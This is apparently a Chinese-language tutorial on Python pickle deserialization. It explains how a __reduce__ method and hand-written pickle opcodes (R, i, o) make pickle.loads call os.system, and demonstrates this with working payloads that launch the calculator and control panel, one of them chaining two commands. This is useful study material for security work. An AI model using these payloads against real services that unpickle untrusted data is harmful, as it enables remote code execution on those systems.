跳转至

Python Pickle反序列化

参考文章:https://zhuanlan.zhihu.com/p/610446124

简单RCE

使用__reduce__方法可以实现简单的RCE

import pickle

class Test:
    def __reduce__(self):
        return (__import__("os").system),("calc",)
T = Test()
data=pickle.dumps(T)

但是只能执行一个函数

image-20240125161312084

字节码格式分析

import pickle

class Test:
    def __init__(self):
        self.text="Text"
T = Test()
data=pickle.dumps(T)
print(data)
b'\x80\x04\x95*\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x04Test\x94\x93\x94)\x81\x94}\x94\x8c\x04text\x94\x8c\x04Text\x94sb.'
    0: \x80 PROTO      4 # pickle协议版本
    2: \x95 FRAME      42 # 接下来的42字节数据为一个帧
   11: \x8c SHORT_BINUNICODE '__main__' # __main__是包名
   21: \x94 MEMOIZE    (as 0) # 将上一个值标记为一个内部缓存的值,编号为0
   22: \x8c SHORT_BINUNICODE 'Test' # 类名Test
   28: \x94 MEMOIZE    (as 1) # 将上一个值标记为缓存的值,编号为1
   29: \x93 STACK_GLOBAL # 这个操作表示要加载一个全局变量
   30: \x94 MEMOIZE    (as 2) # 将上一个值标记为缓存的值,编号为2
   31: )    EMPTY_TUPLE # 创建一个空元组
   32: \x81 NEWOBJ # 这个操作创建一个新的对象
   33: \x94 MEMOIZE    (as 3) # 将上一个值标记为缓存的值,编号为3
   34: }    EMPTY_DICT # 创建一个空字典
   35: \x94 MEMOIZE    (as 4) # 将上一个值标记为缓存的值,编号为4
   36: \x8c SHORT_BINUNICODE 'text' # 属性名 text
   42: \x94 MEMOIZE    (as 5) # 将上一个值标记为缓存的值,编号为5
   43: \x8c SHORT_BINUNICODE 'Text' # 属性值 Text
   49: \x94 MEMOIZE    (as 6) # 将上一个值标记为缓存的值,编号为6
   50: s    SETITEM # 这个操作将前两个缓存的值5和6作为键值对添加到4中
   51: b    BUILD # 将3作为构造对象时的参数
   52: .    STOP # 停止反序列化

再来看一下弹计算机用的Opcode

    0: \x80 PROTO      4
    2: \x95 FRAME      28
   11: \x8c SHORT_BINUNICODE 'nt'
   15: \x94 MEMOIZE    (as 0)
   16: \x8c SHORT_BINUNICODE 'system'
   24: \x94 MEMOIZE    (as 1)
   25: \x93 STACK_GLOBAL
   26: \x94 MEMOIZE    (as 2)
   27: \x8c SHORT_BINUNICODE 'calc'
   33: \x94 MEMOIZE    (as 3)
   34: \x85 TUPLE1
   35: \x94 MEMOIZE    (as 4)
   36: R    REDUCE
   37: \x94 MEMOIZE    (as 5)
   38: .    STOP

手搓字节码

与函数执行有关的操作符有3个Rio

c可以用来import一个库

字节码的解析其实就是利用栈,和数据结构里面学的差不多

手搓一个可以弹计算器的

opcode='''cos
system
(S'calc'
tR.'''
import pickle
pickle.loads(opcode.encode())

这里使用R

opcode='''(S'calc'
ios
system
.'''
import pickle
pickle.loads(opcode.encode())

i

opcode='''(cos
system
S'calc'
o.'''
import pickle
pickle.loads(opcode.encode())

o

接下来进行多个函数的执行

opcode='''(cos
system
S'calc'
o(cos
system
S'control'
o.'''
import pickle
pickle.loads(opcode.encode())

这样就可以了